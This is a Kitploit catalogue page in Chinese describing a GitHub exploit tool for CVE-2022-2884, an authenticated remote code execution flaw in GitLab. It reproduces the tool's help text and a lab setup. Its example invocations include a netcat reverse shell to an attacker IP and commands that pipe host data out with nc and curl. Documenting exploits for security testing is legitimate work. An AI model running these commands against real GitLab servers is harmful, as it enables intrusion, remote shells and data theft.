Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/m3ssap0/gitlab_rce_cve-2022-2884
漏洞扫描器漏洞利用Web应用程序漏洞利用渗透测试红队远程访问工具
GitHubm3ssap0/gitlab_rce_cve-2022-2884

gitlab_rce_cve-2022-2884

利用已知为CVE-2022-2884的GitLab认证远程代码执行漏洞。

查看仓库
26633年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

gitlab_rce_cve-2022-2884

这是一个Python3程序,用于利用GitLab认证RCE漏洞,即CVE-2022-2884。

免责声明

该工具旨在供安全工程师和应用安全专家进行安全评估。请负责任地使用此工具。我不对任何人使用此应用程序的方式负责。我对因使用此工具造成的任何损害或任何犯罪行为概不负责。

漏洞信息

  • CVE-ID:CVE-2022-2884
  • 链接:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2884
  • 描述:GitLab CE/EE 11.3.4至15.1.5之前版本、15.2至15.2.3版本、15.3至15.3.1版本中存在一个漏洞,允许经过身份验证的用户通过Import from GitHub API端点实现远程代码执行。
  • 厂商链接:https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/

帮助

root@kitploit:~
$ ./gitlab_rce_cve-2022-2884.py --help
usage: gitlab_rce_cve-2022-2884.py [-h] -u URL -pt PRIVATE_TOKEN [-tn TARGET_NAMESPACE] -a ADDRESS [-p PORT] [-s] -c COMMAND [-d DELAY] [-v]

Exploit for GitLab authenticated RCE vulnerability known as CVE-2022-2884. - v1.0 (2022-12-25)

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL of the victim GitLab
  -pt PRIVATE_TOKEN, --private-token PRIVATE_TOKEN
                        private token of GitLab
  -tn TARGET_NAMESPACE, --target-namespace TARGET_NAMESPACE
                        target namespace of GitLab (default is 'root')
  -a ADDRESS, --address ADDRESS
                        IP address of the attacker machine
  -p PORT, --port PORT  TCP port of the attacker machine (default is 1337)
  -s, --https           set if the attacker machine is exposed via HTTPS
  -c COMMAND, --command COMMAND
                        the command to execute
  -d DELAY, --delay DELAY
                        seconds of delay to wait for the exploit to complete
  -v, --verbose         verbose mode

示例

root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "id | nc 1.2.3.4 6669"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "(hostname; ps aux) | curl 1.2.3.4:6669 -X POST --data-binary @- "
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "echo 'test' > /tmp/test"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash" -d 180
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -v -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -p 1337 -c "nc 1.2.3.4 6669 -e /bin/bash"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -tn root -a 1.2.3.4 -p 1337 -s -c "nc 1.2.3.4 6669 -e /bin/bash"

易受攻击的应用

可以通过以下命令搭建一个易受攻击的应用程序。

root@kitploit:~
export GITLAB_HOME=/srv/gitlab
docker run --detach --rm \
           --hostname gitlab.example.com \
           --publish 443:443 --publish 80:80 --publish 22:22 \
           --name vuln-gitlab \
           --volume $GITLAB_HOME/config:/etc/gitlab \
           --volume $GITLAB_HOME/logs:/var/log/gitlab \
           --volume $GITLAB_HOME/data:/var/opt/gitlab \
           --shm-size 256m \
           gitlab/gitlab-ce:15.3.0-ce.0

Docker容器开始响应查询可能需要一段时间。然后连接到http://localhost。

使用用户名root和以下命令中的密码登录。

root@kitploit:~
docker exec -it vuln-gitlab grep 'Password:' /etc/gitlab/initial_root_password

要在本地测试此漏洞利用,必须在docker run命令中添加--network="host",并移除GitLab对外部请求的限制:

  • 连接到 http://localhost/admin/application_settings/network;
  • 展开“出站请求”部分;
  • 勾选“允许来自web钩子和服务的对本地网络的请求”;
  • 在“钩子和服务可以访问的本地IP地址和域名”文本框中添加127.0.0.1;
  • 保存更改。

利用漏洞的先决条件是在GitLab上拥有一个私有令牌:

  • 连接到 http://localhost/-/profile/personal_access_tokens;
  • 生成一个至少具有api作用域的令牌。

作者

  • Antonio Francesco Sardella - 主要实现 - m3ssap0

许可证

详情请参见 LICENSE 文件。

致谢

  • yvvdwf,发现该漏洞的安全研究员。
下载工具